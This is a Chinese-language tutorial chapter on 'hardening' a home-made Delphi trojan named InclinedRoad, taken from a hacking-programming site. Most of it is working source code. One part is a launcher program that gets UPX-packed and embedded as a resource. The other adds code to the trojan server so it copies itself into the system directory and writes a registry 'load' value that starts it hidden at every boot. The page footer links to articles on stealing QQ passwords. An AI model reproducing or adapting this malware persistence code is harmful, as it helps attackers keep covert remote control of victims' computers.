加固篇
好了,到现在为止,其实我们的木马还没有完全编写成功,因为它不能每次开机自动运行,并且还有非常重要的一点就是,服务器端只能使用一次,如果你刚才做过上面的测试,就会发现,上传一个EXE文件并且执行后,服务器端就会自动退出。如何解决这两个问题造成的不便?
下面我们就来解决它。
首先,打开记事本,在里面输入如下代码:
program winroad;
uses
windows;
var
sStartInfo: STARTUPINFO;
seProcess, seThread: SECURITY_ATTRIBUTES;
PProcInfo: PROCESS_INFORMATION;
{.$R *.res}
procedure AllRunProcess; //启动系统目录下的 InclinedRoad.exe 程序
var
bSuccess: boolean;
begin
//结构清零
ZeroMemory(@sStartInfo, sizeof(sStartInfo));
SStartInfo.cb := sizeof(sStartInfo);
seProcess.nLength := sizeof(seProcess);
seProcess.lpSecurityDescriptor := PChar(nil); //身份验证描述
seProcess.bInheritHandle := true;
seThread.nLength := sizeof(seThread);
seThread.lpSecurityDescriptor := PChar(nil);
seThread.bInheritHandle := true;
bSuccess := CreateProcess(PChar(nil), Pchar('InclinedRoad.exe'), @seProcess, @seThread, false, CREATE_DEFAULT_ERROR_MODE
, Pchar(nil), Pchar(nil), sStartInfo, PProcInfo);
if (not bSuccess) then
//ShowMessage('创建InclinedRoad.exe进程失败.')
else
//Application.MessageBox('该进程为关键系统进程,无法结束进程。','无法终止进程',MB_ICONWARNING);
end;
begin
AllRunProcess; //程序从这里开始执行
end.
然后:把记事本文件另存为winroad.dpr文件,再用DELPHI编译它为winroad.exe,编译完成后,用UPX压缩它。压缩完成后,把它拷贝到Delphi的 Bin目录,使用Brcc32.exe把它编译成资源文件winroad.RES。(资源文件的编译过程请参考陈经韬的文章《谈Delphi编程中资源文件的应用》)
现在把winroad.RES和木马的服务器端InclinedRoad.dpr放到同一目录,在InclinedRoad.dpr中添加代码,使之成为:
program InclinedRoad;
uses
windows,winsock,Classes,SysUtils,Registry;
const
blocklen=1024*4;
var
server:tsocket;//定义服务器端socket句柄
{.$R *.res}
{$R winroad.RES}
//
function GetWinDir: String; //得到系统目录
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]〈〉'\' then Result := Result + '\';
end;
//
function EXEResFile(const ResName,ResType,Newfile&:String):Boolean;
var
Res : TResourceStream;
begin
Result:=True;
try
Res:= TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
try
Res.SavetoFile(NewFile);
finally
Res.Free;
end;
except
Result:=False;
end;
end;
//
function winroadFile(const Newfile&:String):Boolean;
begin
Result:=EXEResFile('winroad','exefile',GetWinDir+NewFile);
end;
//
var
awsadata:twsadata;
ca:sockaddr_in;
Reg: TRegistry;
begin //程序从这里开始执行
if not(FileExists(GetWinDir+'winroad.exe')) then winroadFile('winroad.exe'); //释放文件到系统目录
if not(FileExists(GetWindir+'inclinedroad.exe')) then //
begin
copyfile(pchar(paramstr(0)),pchar(GetWinDir+'InclinedRoad.exe'),false); //拷贝自己到系统目录
end;
//修改注册表,开机自启动
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
if Reg.OpenKey('\Software\Microsoft\Windows NT\CurrentVersion\Windows', true) then
begin
reg.WriteString( 'load', GetWindir + 'winroad.exe' );
Reg.CloseKey;
end;
Reg.Free;
//
WSAStartup($0101,awsadata); //初始化WINSOCK,要求最低版本是2.0
以下代码略。。。。。。。。。。。
end.
以上我省略了重复的代码,具体内容创建篇中都已经给出来了,大家可以参照对比。
虽然上面的代码都已经很详细了,但是我还是想说两句,以上代码的运行方式是这样的,服务器端执行以后,首先拷贝两个文件winroad.exe、InclinedRoad.exe到系统目录,其中winroad.exe是用来启动木马InclinedRoad.exe的,而木马程序InclinedRoad.exe负责修改注册表HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load下的键值,来实现每次开机启动winroad.exe,并间接启动自身。这种启动方式也相对来说比较隐蔽。
到此为止,我们的木马就算编写完成了,编译完成后,使用UPX压缩一下,可以看到只有56K,不知道大家认为它是不是够小?我却认为还是很大,不知道还有没有哪位高手能够再次削减它的体积,或提供更好的代码出来交流。
| Visual C++编程窃取QQ密码 | 12-08 | |
| 编程实现重起网卡等设备 | 12-07 | |
| 一个邮件群发的Delphi代码! | 12-06 | |
| Delphi下Internet的编程技巧 | 11-20 | |
| Delphi黑客编程-如何映射虚拟盘 | 11-15 | |
| 用DETOURS库获取NT管理员权限 | 11-08 | |
| 一篇关于vb代码质量提高的文章 | 10-30 | |
| 解析Asp.net木马文件操作 | 10-04 | |
| 盗QQ源码 | 10-01 | |
| 如何映射肉鸡磁盘(Delphi黑客编程 | 09-24 | |
| 打造无DLL版穿墙Downloader(Delp | 09-22 | |
| 调用指定的Windows程序(Delphi编 | 09-19 | |